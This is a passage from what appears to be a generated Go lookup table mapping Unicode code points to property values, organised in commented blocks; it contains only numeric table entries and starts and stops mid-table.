0x4044,\n\t0xdd8: 0x4040, 0xdd9: 0x4041, 0xdda: 0x4040, 0xddb: 0x4045, 0xddc: 0x4009, 0xddd: 0x4045,\n\t0xdde: 0x4046, 0xddf: 0x4045, 0xde0: 0x4047, 0xde1: 0x400b, 0xde2: 0x400a, 0xde3: 0x400c,\n\t0xde4: 0x4048, 0xde5: 0x4000, 0xde6: 0x4000, 0xde7: 0x4000, 0xde8: 0x4000, 0xde9: 0x4000,\n\t0xdea: 0x4000, 0xdeb: 0x4000, 0xdec: 0x4000, 0xded: 0x4000, 0xdee: 0x4000, 0xdef: 0x4000,\n\t0xdf0: 0x4000, 0xdf1: 0x4000, 0xdf2: 0x4000, 0xdf3: 0x4000, 0xdf4: 0x4000, 0xdf5: 0x4000,\n\t0xdf6: 0x4000, 0xdf7: 0x4000, 0xdf8: 0x4000, 0xdf9: 0x4000, 0xdfa: 0x4000, 0xdfb: 0x4000,\n\t0xdfc: 0x4000, 0xdfd: 0x4000, 0xdfe: 0x4000, 0xdff: 0x4000,\n\t// Block 0x38, offset 0xe00\n\t0xe00: 0x4000, 0xe01: 0x4000, 0xe02: 0x4000, 0xe03: 0x4000, 0xe04: 0x4000, 0xe05: 0x4000,\n\t0xe06: 0x4000, 0xe07: 0x4000, 0xe08: 0x4000, 0xe09: 0x4000, 0xe0a: 0x4000, 0xe0b: 0x4000,\n\t0xe0c: 0x4000, 0xe0d: 0x4000, 0xe0e: 0x4000, 0xe10: 0x4000, 0xe11: 0x4000,\n\t0xe12: 0x4000, 0xe13: 0x4000, 0xe14: 0x4000, 0xe15: 0x4000, 0xe16: 0x4000, 0xe17: 0x4000,\n\t0xe18: 0x4000, 0xe19: 0x4000, 0xe1a: 0x4000, 0xe1b: 0x4000, 0xe1c: 0x4000, 0xe1d: 0x4000,\n\t0xe1e: 0x4000, 0xe1f: 0x4000, 0xe20: 0x4000, 0xe21: 0x4000, 0xe22: 0x4000, 0xe23: 0x4000,\n\t0xe24: 0x4000, 0xe25: 0x4000, 0xe26: 0x4000, 0xe27: 0x4000, 0xe28: 0x4000, 0xe29: 0x4000,\n\t0xe2a: 0x4000, 0xe2b: 0x4000, 0xe2c: 0x4000, 0xe2d: 0x4000, 0xe2e: 0x4000, 0xe2f: 0x4000,\n\t0xe30: 0x4000, 0xe31: 0x4000, 0xe32: 0x4000, 0xe33: 0x4000, 0xe34: 0x4000, 0xe35: 0x4000,\n\t0xe36: 0x4000, 0xe37: 0x4000, 0xe38: 0x4000, 0xe39: 0x4000, 0xe3a: 0x4000,\n\t// Block 0x39, offset 0xe40\n\t0xe40: 0x4000, 0xe41: 0x4000, 0xe42: 0x4000, 0xe43: 0x4000, 0xe44: 0x4000, 0xe45: 0x4000,\n\t0xe46: 0x4000, 0xe47: 0x4000, 0xe48: 0x4000, 0xe49: 0x4000, 0xe4a: 0x4000, 0xe4b: 0x4000,\n\t0xe4c: 0x4000, 0xe4d: 0x4000, 0xe4e: 0x4000, 0xe4f: 0x4000, 0xe50: 0x4000, 0xe51: 0x4000,\n\t0xe52: 0x4000, 0xe53: 0x4000, 0xe54: 0x4000, 0xe55: 0x4000, 0xe56: 0x4000, 0xe57: 0x4000,\n\t0xe58: 0x4000, 0xe59: 0x4000, 0xe5a: 0x4000, 0xe5b: 0x4000, 0xe5c: 0x4000, 0xe5d: 0x4000,\n\t0xe5e: 0x4000, 0xe5f: 0x4000, 0xe60: 0x4000, 0xe61: 0x4000, 0xe62: 0x4000, 0xe63: 0x4000,\n\t0xe70: 0x4000, 0xe71: 0x4000, 0xe72: 0x4000, 0xe73: 0x4000, 0xe74: 0x4000, 0xe75: 0x4000,\n\t0xe76: 0x4000, 0xe77: 0x4000, 0xe78: 0x4000, 0xe79: 0x4000, 0xe7a: 0x4000, 0xe7b: 0x4000,\n\t0xe7c: 0x4000, 0xe7d: 0x4000, 0xe7e: 0x4000, 0xe7f: 0x4000,\n\t// Block 0x3a, offset 0xe80\n\t0xe80: 0x4000, 0xe81: 0x4000, 0xe82: 0x4000, 0xe83: 0x4000, 0xe84: 0x4000, 0xe85: 0x4000,\n\t0xe86: 0x4000, 0xe87: 0x4000, 0xe88: 0x4000, 0xe89: 0x4000, 0xe8a: 0x4000, 0xe8b: 0x4000,\n\t0xe8c: 0x4000, 0xe8d: 0x4000, 0xe8e: 0x4000, 0xe8f: 0x4000, 0xe90: 0x4000, 0xe91: 0x4000,\n\t0xe92: 0x4000, 0xe93: 0x4000, 0xe94: 0x4000, 0xe95: 0x4000, 0xe96: 0x4000, 0xe97: 0x4000,\n\t0xe98: 0x4000, 0xe99: 0x4000, 0xe9a: 0x4000, 0xe9b: 0x4000, 0xe9c: 0x4000, 0xe9d: 0x4000,\n\t0xe9e: 0x4000, 0xea0: 0x4000, 0xea1: 0x4000, 0xea2: 0x4000, 0xea3: 0x4000,\n\t0xea4: 0x4000, 0xea5: 0x4000, 0xea6: 0x4000, 0xea7: 0x4000, 0xea8: 0x4000, 0xea9: 0x4000,\n\t0xeaa: 0x4000, 0xeab: 0x4000, 0xeac: 0x4000, 0xead: 0x4000, 0xeae: 0x4000, 0xeaf: 0x4000,\n\t0xeb0: 0x4000, 0xeb1: 0x4000, 0xeb2: 0x4000, 0xeb3: 0x4000, 0xeb4: 0x4000, 0xeb5: 0x4000,\n\t0xeb6: 0x4000, 0xeb7: 0x4000, 0xeb8: 0x4000, 0xeb9: 0x4000, 0xeba: 0x4000, 0xebb: 0x4000,\n\t0xebc: 0x4000, 0xebd: 0x4000, 0xebe: 0x4000, 0xebf: 0x4000,\n\t// Block 0x3b, offset 0xec0\n\t0xec0: 0x4000, 0xec1: 0x4000, 0xec2: 0x4000, 0xec3: 0x4000, 0xec4: 0x4000, 0xec5: 0x4000,\n\t0xec6: 0x4000, 0xec7: 0x4000, 0xec8: 0x2000, 0xec9: 0x2000, 0xeca: 0x2000, 0xecb: 0x2000,\n\t0xecc: 0x2000, 0xecd: 0x2000, 0xece: 0x2000, 0xecf: 0x2000, 0xed0: 0x4000, 0xed1: 0x4000,\n\t0xed2: 0x4000, 0xed3: 0x4000, 0xed4: 0x4000, 0xed5: 0x4000, 0xed6: 0x4000, 0xed7: 0x4000,\n\t0xed8: 0x4000, 0xed9: 0x4000, 0xeda: 0x4000, 0xedb: 0x4000, 0xedc: 0x4000, 0xedd: 0x4000,\n\t0xede: 0x4000, 0xedf: 0x4000, 0xee0: 0x4000, 0xee1: 0x4000, 0xee2: 0x4000, 0xee3: 0x4000,\n\t0xee4: 0x4000, 0xee5: 0x4000, 0xee6: 0x4000, 0xee7: 0x4000, 0xee8: 0x4000, 0xee9: 0x4000,\n\t0xeea: 0x4000, 0xeeb: 0x4000, 0xeec: 0x4000, 0xeed: 0x4000, 0xeee: 0x4000, 0xeef: 0x4000,\n\t0xef0: 0x4000, 0xef1: 0x4000, 0xef2: 0x4000, 0xef3: 0x4000, 0xef4: 0x4000, 0xef5: 0x4000,\n\t0xef6: 0x4000, 0xef7: 0x4000, 0xef8: 0x4000, 0xef9: 0x4000, 0xefa: 0x4000, 0xefb: 0x4000,\n\t0xefc: 0x4000, 0xefd: 0x4000, 0xefe: 0x4000, 0xeff: 0x4000,\n\t// Block 0x3c, offset 0xf00\n\t0xf00: 0x4000, 0xf01: 0x4000, 0xf02: 0x4000, 0xf03: 0x4000, 0xf04: 0x4000, 0xf05: 0x4000,\n\t0xf06: 0x4000, 0xf07: 0x4000, 0xf08: 0x4000, 0xf09: 0x4000, 0xf0a: 0x4000, 0xf0b: 0x4000,\n\t0xf0c: 0x4000, 0xf0d: 0x4000, 0xf0e: 0x4000, 0xf0f: 0x4000, 0xf10: 0x4000, 0xf11: 0x4000,\n\t0xf12: 0x4000, 0xf13: 0x4000, 0xf14: 0x4000, 0xf15: 0x4000, 0xf16: 0x4000, 0xf17: 0x4000,\n\t0xf18: 0x4000, 0xf19: 0x4000, 0xf1a: 0x4000, 0xf1b: 0x4000, 0xf1c: 0x4000, 0xf1d: 0x4000,\n\t0xf1e: 0x4000, 0xf1f: 0x4000, 0xf20: 0x4000, 0xf21: 0x4000, 0xf22: 0x4000, 0xf23: 0x4000,\n\t0xf24: 0x4000, 0xf25: 0x4000, 0xf26: 0x4000, 0xf27: 0x4000, 0xf28: 0x4000, 0xf29: 0x4000,\n\t0xf2a: 0x4000, 0xf2b: 0x4000, 0xf2c: 0x4000, 0xf2d: 0x4000, 0xf2e: 0x4000, 0xf2f: 0x4000,\n\t0xf30: 0x4000, 0xf31: 0x4000, 0xf32: 0x4000, 0xf33: 0x4000, 0xf34: 0x4000, 0xf35: 0x4000,\n\t0xf36: 0x4000, 0xf37: 0x4000, 0xf38: 0x4000, 0xf39: 0x4000, 0xf3a: 0x4000, 0xf3b: 0x4000,\n\t0xf3c: 0x4000, 0xf3d: 0x4000, 0xf3e: 0x4000,\n\t// Block 0x3d, offset 0xf40\n\t0xf40: 0x4000, 0xf41: 0x4000, 0xf42: 0x4000, 0xf43: 0x4000, 0xf44: 0x4000, 0xf45: 0x4000,\n\t0xf46: 0x4000, 0xf47: 0x4000, 0xf48: 0x4000, 0xf49: 0x4000, 0xf4a: 0x4000, 0xf4b: 0x4000,\n\t0xf4c: 0x4000, 0xf50: 0x4000, 0xf51: 0x4000,\n\t0xf52: 0x4000, 0xf53: 0x4000, 0xf54: 0x4000, 0xf55: 0x4000, 0xf56: 0x4000, 0xf57: 0x4000,\n\t0xf58: 0x4000, 0xf59: 0x4000, 0xf5a: 0x4000, 0xf5b: 0x4000, 0xf5c: 0x4000, 0xf5d: 0x4000,\n\t0xf5e: 0x4000, 0xf5f: 0x4000, 0xf60: 0x4000, 0xf61: 0x4000, 0xf62: 0x4000, 0xf63: 0x4000,\n\t0xf64: 0x4000, 0xf65: 0x4000, 0xf66: 0x4000, 0xf67: 0x4000, 0xf68: 0x4000, 0xf69: 0x4000,\n\t0xf6a: 0x4000, 0xf6b: 0x4000, 0xf6c: 0x4000, 0xf6d: 0x4000, 0xf6e: 0x4000, 0xf6f: 0x4000,\n\t0xf70: 0x4000, 0xf71: 0x4000, 0xf72: 0x4000, 0xf73: 0x4000, 0xf74: 0x4000, 0xf75: 0x4000,\n\t0xf76: 0x4000, 0xf77: 0x4000, 0xf78: 0x4000, 0xf79: 0x4000, 0xf7a: 0x4000, 0xf7b: 0x4000,\n\t0xf7c: 0x4000, 0xf7d: 0x4000, 0xf7e: 0x4000, 0xf7f: 0x4000,\n\t// Block 0x3e, offset 0xf80\n\t0xf80: 0x4000, 0xf81: 0x4000, 0xf82: 0x4000, 0xf83: 0x4000, 0xf84: 0x4000, 0xf85: 0x4000,\n\t0xf86: 0x4000,\n\t// Block 0x3f, offset 0xfc0\n\t0xfe0: 0x4000, 0xfe1: 0x4000, 0xfe2: 0x4000, 0xfe3: 0x4000,\n\t0xfe4: 0x4000, 0xfe5: 0x4000, 0xfe6: 0x4000, 0xfe7: 0x4000, 0xfe8: 0x4000, 0xfe9: 0x4000,\n\t0xfea: 0x4000, 0xfeb: 0x4000, 0xfec: 0x4000, 0xfed: 0x4000, 0xfee: 0x4000, 0xfef: 0x4000,\n\t0xff0: 0x4000, 0xff1: 0x4000, 0xff2: 0x4000, 0xff3: 0x4000, 0xff4: 0x4000, 0xff5: 0x4000,\n\t0xff6: 0x4000, 0xff7: 0x4000, 0xff8: 0x4000, 0xff9: 0x4000, 0xffa: 0x4000, 0xffb: 0x4000,\n\t0xffc: 0x4000,\n\t// Block 0x40, offset 0x1000\n\t0x1000: 0x4000, 0x1001: 0x4000, 0x1002: 0x4000, 0x1003: 0x4000, 0x1004: 0x4000, 0x1005: 0x4000,\n\t0x1006: 0x4000, 0x1007: 0x4000, 0x1008: 0x4000, 0x1009: 0x4000, 0x100a: 0x4000, 0x100b: 0x4000,\n\t0x100c: 0x4000, 0x100d: 0x4000, 0x100e: 0x4000, 0x100f: 0x4000, 0x1010: 0x4000, 0x1011: 0x4000,\n\t0x1012: 0x4000, 0x1013: 0x4000, 0x1014: 0x4000, 0x1015: 0x4000, 0x1016: 0x4000, 0x1017: 0x4000,\n\t0x1018: 0x4000, 0x1019: 0x4000, 0x101a: 0x4000, 0x101b: 0x4000, 0x101c: 0x4000, 0x101d: 0x4000,\n\t0x101e: 0x4000, 0x101f: 0x4000, 0x1020: 0x4000, 0x1021: 0x4000, 0x1022: 0x4000, 0x1023: 0x4000,\n\t// Block 0x41, offset 0x1040\n\t0x1040: 0x2000, 0x1041: 0x2000, 0x1042: 0x2000, 0x1043: 0x2000, 0x1044: 0x2000, 0x1045: 0x2000,\n\t0x1046: 0x2000, 0x1047: 0x2000, 0x1048: 0x2000, 0x1049: 0x2000, 0x104a: 0x2000, 0x104b: 0x2000,\n\t0x104c: 0x2000, 0x104d: 0x2000, 0x104e: 0x2000, 0x104f: 0x2000, 0x1050: 0x4000, 0x1051: 0x4000,\n\t0x1052: 0x4000, 0x1053: 0x4000, 0x1054: 0x4000, 0x1055: 0x4000, 0x1056: 0x4000, 0x1057: 0x4000,\n\t0x1058: 0x4000, 0x1059: 0x4000,\n\t0x1070: 0x4000, 0x1071: 0x4000, 0x1072: 0x4000, 0x1073: 0x4000, 0x1074: 0x4000, 0x1075: 0x4000,\n\t0x1076: 0x4000, 0x1077: 0x4000, 0x1078: 0x4000, 0x1079: 0x4000, 0x107a: 0x4000, 0x107b: 0x4000,\n\t0x107c: 0x4000, 0x107d: 0x4000, 0x107e: 0x4000, 0x107f: 0x4000,\n\t// Block 0x42, offset 0x1080\n\t0x1080: 0x4000, 0x1081: 0x4000, 0x1082: 0x4000, 0x1083: 0x4000, 0x1084: 0x4000, 0x1085: 0x4000,\n\t0x1086: 0x4000, 0x1087: 0x4000, 0x1088: 0x4000, 0x1089: 0x4000, 0x108a: 0x4000, 0x108b: 0x4000,\n\t0x108c: 0x4000, 0x108d: 0x4000, 0x108e: 0x4000, 0x108f: 0x4000, 0x1090: 0x4000, 0x1091: 0x4000,\n\t0x1092: 0x4000, 0x1094: 0x4000, 0x1095: 0x4000, 0x1096: 0x4000, 0x1097: 0x4000,\n\t0x1098: 0x4000, 0x1099: 0x4000, 0x109a: 0x4000, 0x109b: 0x4000, 0x109c: 0x4000, 0x109d: 0x4000,\n\t0x109e: 0x4000, 0x109f: 0x4000, 0x10a0: 0x4000, 0x10a1: 0x4000, 0x10a2: 0x4000, 0x10a3: 0x4000,\n\t0x10a4: 0x4000, 0x10a5: 0x4000, 0x10a6: 0x4000, 0x10a8: 0x4000, 0x10a9: 0x4000,\n\t0x10aa: 0x4000, 0x10ab: 0x4000,\n\t// Block 0x43, offset 0x10c0\n\t0x10c1: 0x9012, 0x10c2: 0x9012, 0x10c3: 0x9012, 0x10c4: 0x9012, 0x10c5: 0x9012,\n\t0x10c6: 0x9012, 0x10c7: 0x9012, 0x10c8: 0x9012, 0x10c9: 0x9012, 0x10ca: 0x9012, 0x10cb: 0x9012,\n\t0x10cc: 0x9012, 0x10cd: 0x9012, 0x10ce: 0x9012, 0x10cf: 0x9012, 0x10d0: 0x9012, 0x10d1: 0x9012,\n\t0x10d2: 0x9012, 0x10d3: 0x9012, 0x10d4: 0x9012, 0x10d5: 0x9012, 0x10d6: 0x9012, 0x10d7: 0x9012,\n\t0x10d8: 0x9012, 0x10d9: 0x9012, 0x10da: 0x9012, 0x10db: 0x9012, 0x10dc: 0x9012, 0x10dd: 0x9012,\n\t0x10de: 0x9012, 0x10df: 0x9012, 0x10e0: 0x9049, 0x10e1: 0x9049, 0x10e2: 0x9049, 0x10e3: 0x9049,\n\t0x10e4: 0x9049, 0x10e5: 0x9049, 0x10e6: 0x9049, 0x10e7: 0x9049, 0x10e8: 0x9049, 0x10e9: 0x9049,\n\t0x10ea: 0x9049, 0x10eb: 0x9049, 0x10ec: 0x9049, 0x10ed: 0x9049, 0x10ee: 0x9049, 0x10ef: 0x9049,\n\t0x10f0: 0x9049, 0x10f1: 0x9049, 0x10f2: 0x9049, 0x10f3: 0x9049, 0x10f4: 0x9049, 0x10f5: 0x9049,\n\t0x10f6: 0x9049, 0x10f7: 0x9049, 0x10f8: 0x9049, 0x10f9: 0x9049, 0x10fa: 0x9049, 0x10fb: 0x9049,\n\t0x10fc: 0x9049, 0x10fd: 0x9049, 0x10fe: 0x9049, 0x10ff: 0x9049,\n\t// Block 0x44, offset 0x1100\n\t0x1100: 0x9049, 0x1101: 0x9049, 0x1102: 0x9049, 0x1103: 0x9049, 0x1104: 0x9049, 0x1105: 0x9049,\n\t0x1106: 0x9049, 0x1107: 0x9049, 0x1108: 0x9049, 0x1109: 0x9049, 0x110a: 0x9049, 0x110b: 0x9049,\n\t0x110c: 0x9049, 0x110d: 0x9049, 0x110e: 0x9049, 0x110f: 0x9049, 0x1110: 0x9049, 0x1111: 0x9049,\n\t0x1112: 0x9049, 0x1113: 0x9049, 0x1114: 0x9049, 0x1115: 0x9049, 0x1116: 0x9049, 0x1117: 0x9049,\n\t0x1118: 0x9049, 0x1119: 0x9049, 0x111a: 0x9049, 0x111b: 0x9049, 0x111c: 0x9049, 0x111d: 0x9049,\n\t0x111e: 0x9049, 0x111f: 0x904a, 0x1120: 0x904b, 0x1121: 0xb04c, 0x1122: 0xb04d, 0x1123: 0xb04d,\n\t0x1124: 0xb04e, 0x1125: 0xb04f, 0x1126: 0xb050, 0x1127: 0xb051, 0x1128: 0xb052, 0x1129: 0xb053,\n\t0x112a: 0xb054, 0x112b: 0xb055, 0x112c: 0xb056, 0x112d: 0xb057, 0x112e: 0xb058, 0x112f: 0xb059,\n\t0x1130: 0xb05a, 0x1131: 0xb05b, 0x1132: 0xb05c, 0x1133: 0xb05d, 0x1134: 0xb05e, 0x1135: 0xb05f,\n\t0x1136: 0xb060, 0x1137: 0xb061, 0x1138: 0xb062, 0x1139: 0xb063, 0x113a: 0xb064, 0x113b: 0xb065,\n\t0x113c: 0xb052, 0x113d: 0xb066, 0x113e: 0xb067, 0x113f: 0xb055,\n\t// Block 0x45, offset 0x1140\n\t0x1140: 0xb068, 0x1141: 0xb069, 0x1142: 0xb06a, 0x1143: 0xb06b, 0x1144: 0xb05a, 0x1145: 0xb056,\n\t0x1146: 0xb06c, 0x1147: 0xb06d, 0x1148: 0xb06b, 0x1149: 0xb06e, 0x114a: 0xb06b, 0x114b: 0xb06f,\n\t0x114c: 0xb06f, 0x114d: 0xb070, 0x114e: 0xb070, 0x114f: 0xb071, 0x1150: 0xb056, 0x1151: 0xb072,\n\t0x1152: 0xb073, 0x1153: 0xb072, 0x1154: 0xb074, 0x1155: 0xb073, 0x1156: 0xb075, 0x1157: 0xb075,\n\t0x1158: 0xb076, 0x1159: 0xb076, 0x115a: 0xb077, 0x115b: 0xb077, 0x115c: 0xb073, 0x115d: 0xb078,\n\t0x115e: 0xb079, 0x115f: 0xb067, 0x1160: 0xb07a, 0x1161: 0xb07b, 0x1162: 0xb07b, 0x1163: 0xb07b,\n\t0x1164: 0xb07b, 0x1165: 0xb07b, 0x1166: 0xb07b, 0x1167: 0xb07b, 0x1168: 0xb07b, 0x1169: 0xb07b,\n\t0x116a: 0xb07b, 0x116b: 0xb07b, 0x116c: 0xb07b, 0x116d: 0xb07b, 0x116e: 0xb07b, 0x116f: 0xb07b,\n\t0x1170: 0xb07c, 0x1171: 0xb07c, 0x1172: 0xb07c, 0x1173: 0xb07c, 0x1174: 0xb07c, 0x1175: 0xb07c,\n\t0x1176: 0xb07c, 0x1177: 0xb07c, 0x1178: 0xb07c, 0x1179: 0xb07c, 0x117a: 0xb07c, 0x117b: 0xb07c,\n\t0x117c: 0xb07c, 0x117d: 0xb07c, 0x117e: 0xb07c,\n\t// Block 0x46, offset 0x1180\n\t0x1182: 0xb07d, 0x1183: 0xb07e, 0x1184: 0xb07f, 0x1185: 0xb080,\n\t0x1186: 0xb07f, 0x1187: 0xb07e, 0x118a: 0xb081, 0x118b: 0xb082,\n\t0x118c: 0xb083, 0x118d: 0xb07f, 0x118e: 0xb080, 0x118f: 0xb07f,\n\t0x1192: 0xb084, 0x1193: 0xb085, 0x1194: 0xb084, 0x1195: 0xb086, 0x1196: 0xb084, 0x1197: 0xb087,\n\t0x119a: 0xb088, 0x119b: 0xb089, 0x119c: 0xb08a,\n\t0x11a0: 0x908b, 0x11a1: 0x908b, 0x11a2: 0x908c, 0x11a3: 0x908d,\n\t0x11a4: 0x908b, 0x11a5: 0x908e, 0x11a6: 0x908f, 0x11a8: 0xb090, 0x11a9: 0xb091,\n\t0x11aa: 0xb092, 0x11ab: 0xb091, 0x11ac: 0xb093, 0x11ad: 0xb094, 0x11ae: 0xb095,\n\t0x11bd: 0x2000,\n\t// Block 0x47, offset 0x11c0\n\t0x11e0: 0x4000,\n\t// Block 0x48, offset 0x1200\n\t0x1200: 0x4000, 0x1201: 0x4000, 0x1202: 0x4000, 0x1203: 0x4000, 0x1204: 0x4000, 0x1205: 0x4000,\n\t0x1206: 0x4000, 0x1207: 0x4000, 0x1208: 0x4000, 0x1209: 0x4000, 0x120a: 0x4000, 0x120b: 0x4000,\n\t0x120c: 0x4000, 0x120d: 0x4000, 0x120e: 0x4000, 0x120f: 0x4000, 0x1210: 0x4000, 0x1211: 0x4000,\n\t0x1212: 0x4000, 0x1213: 0x4000, 0x1214: 0x4000, 0x1215: 0x4000, 0x1216: 0x4000, 0x1217: 0x4000,\n\t0x1218: 0x4000, 0x1219: 0x4000, 0x121a: 0x4000, 0x121b: 0x4000, 0x121c: 0x4000, 0x121d: 0x4000,\n\t0x121e: 0x4000, 0x121f: 0x4000, 0x1220: 0x4000, 0x1221: 0x4000, 0x1222: 0x4000, 0x1223: 0x4000,\n\t0x1224: 0x4000, 0x1225: 0x4000, 0x1226: 0x4000, 0x1227: 0x4000, 0x1228: 0x4000, 0x1229: 0x4000,\n\t0x122a: 0x4000, 0x122b: 0x4000, 0x122c: 0x4000,\n\t// Block 0x49, offset 0x1240\n\t0x1240: 0x4000, 0x1241: 0x4000, 0x1242: 0x4000, 0x1243: 0x4000, 0x1244: 0x4000, 0x1245: 0x4000,\n\t0x1246: 0x4000, 0x1247: 0x4000, 0x1248: 0x4000, 0x1249: 0x4000, 0x124a: 0x4000, 0x124b: 0x4000,\n\t0x124c: 0x4000, 0x124d: 0x4000, 0x124e: 0x4000, 0x124f: 0x4000, 0x1250: 0x4000, 0x1251: 0x4000,\n\t0x1252: 0x4000, 0x1253: 0x4000, 0x1254: 0x4000, 0x1255: 0x4000, 0x1256: 0x4000, 0x1257: 0x4000,\n\t0x1258: 0x4000, 0x1259: 0x4000, 0x125a: 0x4000, 0x125b: 0x4000, 0x125c: 0x4000, 0x125d: 0x4000,\n\t0x125e: 0x4000, 0x125f: 0x4000, 0x1260: 0x4000, 0x1261: 0x4000, 0x1262: 0x4000, 0x1263: 0x4000,\n\t0x1264: 0x4000, 0x1265: 0x4000, 0x1266: 0x4000, 0x1267: 0x4000, 0x1268: 0x4000, 0x1269: 0x4000,\n\t0x126a: 0x4000, 0x126b: 0x4000, 0x126c: 0x4000, 0x126d: 0x4000, 0x126e: 0x4000, 0x126f: 0x4000,\n\t0x1270: 0x4000, 0x1271: 0x4000, 0x1272: 0x4000,\n\t// Block 0x4a, offset 0x1280\n\t0x1280: 0x4000, 0x1281: 0x4000,\n\t// Block 0x4b, offset 0x12c0\n\t0x12c4: 0x4000,\n\t// Block 0x4c, offset 0x1300\n\t0x130f: 0x4000,\n\t// Block 0x4d, offset 0x1340\n\t0x1340: 0x2000, 0x1341: 0x2000, 0x1342: 0x2000, 0x1343: 0x2000, 0x1344: 0x2000, 0x1345: 0x2000,\n\t0x1346: 0x2000, 0x1347: 0x2000, 0x1348: 0x2000, 0x1349: 0x2000, 0x134a: 0x2000,\n\t0x1350: 0x2000, 0x1351: 0x2000,\n\t0x1352: 0x2000, 0x1353: 0x2000, 0x1354: 0x2000, 0x1355: 0x2000, 0x1356: 0x2000, 0x1357: 0x2000,\n\t0x1358: 0x2000, 0x1359: 0x2000, 0x135a: 0x2000, 0x135b: 0x2000, 0x135c: 0x2000, 0x135d: 0x2000,\n\t0x135e: 0x2000, 0x135f: 0x2000, 0x1360: 0x2000, 0x1361: 0x2000, 0x1362: 0x2000, 0x1363: 0x2000,\n\t0x1364: 0x2000, 0x1365: 0x2000, 0x1366: 0x2000, 0x1367: 0x2000, 0x1368: 0x2000, 0x1369: 0x2000,\n\t0x136a: 0x2000, 0x136b: 0x2000, 0x136c: 0x2000, 0x136d: 0x2000,\n\t0x1370: 0x2000, 0x1371: 0x2000, 0x1372: 0x2000, 0x1373: 0x2000, 0x1374: 0x2000, 0x1375: 0x2000,\n\t0x1376: 0x2000, 0x1377: 0x2000, 0x1378: 0x2000, 0x1379: 0x2000, 0x137a: 0x2000, 0x137b: 0x2000,\n\t0x137c: 0x2000, 0x137d: 0x2000, 0x137e: 0x2000, 0x137f: 0x2000,\n\t// Block 0x4e, offset 0x1380\n\t0x1380: 0x2000, 0x1381: 0x2000, 0x1382: 0x2000, 0x1383: 0x2000, 0x1384: 0x2000, 0x1385: 0x2000,\n\t0x1386: 0x2000, 0x1387: 0x2000, 0x1388: 0x2000, 0x1389: 0x2000, 0x138a: 0x2000, 0x138b: 0x2000,\n\t0x138c: 0x2000, 0x138d: 0x2000, 0x138e: 0x2000, 0x138f: 0x2000, 0x1390: 0x2000, 0x1391: 0x2000,\n\t0x1392: 0x2000, 0x1393: 0x2000, 0x1394: 0x2000, 0x1395: 0x2000, 0x1396: 0x2000, 0x1397: 0x2000,\n\t0x1398: 0x2000, 0x1399: 0x2000, 0x139a: 0x2000, 0x139b: 0x2000, 0x139c: 0x2000, 0x139d: 0x2000,\n\t0x139e: 0x2000, 0x139f: 0x2000, 0x13a0: 0x2000, 0x13a1: 0x2000, 0x13a2: 0x2000, 0x13a3: 0x2000,\n\t0x13a4: 0x2000, 0x13a5: 0x2000, 0x13a6: 0x2000, 0x13a7: 0x2000, 0x13a8: 0x2000, 0x13a9: 0x2000,\n\t0x13b0: 0x2000, 0x13b1: 0x2000, 0x13b2: 0x2000, 0x13b3: 0x2000, 0x13b4: 0x2000, 0x13b5: 0x2000,\n\t0x13b6: 0x2000, 0x13b7: 0x2000, 0x13b8: 0x2000, 0x13b9: 0x2000, 0x13ba: 0x2000, 0x13bb: 0x2000,\n\t0x13bc: 0x2000, 0x13bd: 0x2000, 0x13be: 0x2000, 0x13bf: 0x2000,\n\t// Block 0x4f, offset 0x13c0\n\t0x13c0: 0x2000, 0x13c1: 0x2000, 0x13c2: 0x2000, 0x13c3: 0x2000, 0x13c4: 0x2000, 0x13c5: 0x2000,\n\t0x13c6: 0x2000, 0x13c7: 0x2000, 0x13c8: 0x2000, 0x13c9: 0x2000, 0x13ca: 0x2000, 0x13cb: 0x2000,\n\t0x13cc: 0x2000, 0x13cd: 0x2000, 0x13ce: 0x4000, 0x13cf: 0x2000, 0x13d0: 0x2000, 0x13d1: 0x4000,\n\t0x13d2: 0x4000, 0x13d3: 0x4000, 0x13d4: 0x4000, 0x13d5: 0x4000, 0x13d6: 0x4000, 0x13d7: 0x4000,\n\t0x13d8: 0x4000, 0x13d9: 0x4000, 0x13da: 0x4000, 0x13db: 0x2000, 0x13dc: 0x2000, 0x13dd: 0x2000,\n\t0x13de: 0x2000, 0x13df: 0x2000, 0x13e0: 0x2000, 0x13e1: 0x2000, 0x13e2: 0x2000, 0x13e3: 0x2000,\n\t0x13e4: 0x2000, 0x13e5: 0x2000, 0x13e6: 0x2000, 0x13e7: 0x2000, 0x13e8: 0x2000, 0x13e9: 0x2000,\n\t0x13ea: 0x2000, 0x13eb: 0x2000, 0x13ec: 0x2000,\n\t// Block 0x50, offset 0x1400\n\t0x1400: 0x4000, 0x1401: 0x4000, 0x1402: 0x4000,\n\t0x1410: 0x4000, 0x1411: 0x4000,\n\t0x1412: 0x4000, 0x1413: 0x4000, 0x1414: 0x4000, 0x1415: 0x4000, 0x1416: 0x4000, 0x1417: 0x4000,\n\t0x1418: 0x4000, 0x1419: 0x4000, 0x141a: 0x4000, 0x141b: 0x4000, 0x141c: 0x4000, 0x141d: 0x4000,\n\t0x141e: 0x4000, 0x141f: 0x4000, 0x1420: 0x4000, 0x1421: 0x4000, 0x1422: 0x4000, 0x1423: 0x4000,\n\t0x1424: 0x4000, 0x1425: 0x4000, 0x1426: 0x4000, 0x1427: 0x4000, 0x1428: 0x4000, 0x1429: 0x4000,\n\t0x142a: 0x4000, 0x142b: 0x4000, 0x142c: 0x4000, 0x142d: 0x4000, 0x142e: 0x4000, 0x142f: 0x4000,\n\t0x1430: 0x4000, 0x1431: 0x4000, 0x1432: 0x4000, 0x1433: 0x4000, 0x1434: 0x4000, 0x1435: 0x4000,\n\t0x1436: 0x4000, 0x1437: 0x4000, 0x1438: 0x4000, 0x1439: 0x4000, 0x143a: 0x4000, 0x143b: 0x4000,\n\t// Block 0x51, offset 0x1440\n\t0x1440: 0x4000, 0x1441: 0x4000, 0x1442: 0x4000, 0x1443: 0x4000, 0x1444: 0x4000, 0x1445: 0x4000,\n\t0x1446: 0x4000, 0x1447: 0x4000, 0x1448: 0x4000,\n\t0x1450: 0x4000, 0x1451: 0x4000,\n\t// Block 0x52, offset 0x1480\n\t0x1480: 0x4000, 0x1481: 0x4000, 0x1482: 0x4000, 0x1483: 0x4000, 0x1484: 0x4000, 0x1485: 0x4000,\n\t0x1486: 0x4000, 0x1487: 0x4000, 0x1488: 0x4000, 0x1489: 0x4000, 0x148a: 0x4000, 0x148b: 0x4000,\n\t0x148c: 0x4000, 0x148d: 0x4000, 0x148e: 0x4000, 0x148f: 0x4000, 0x1490: 0x4000, 0x1491: 0x4000,\n\t0x1492: 0x4000, 0x1493: 0x4000, 0x1494: 0x4000, 0x1495: 0x4000, 0x1496: 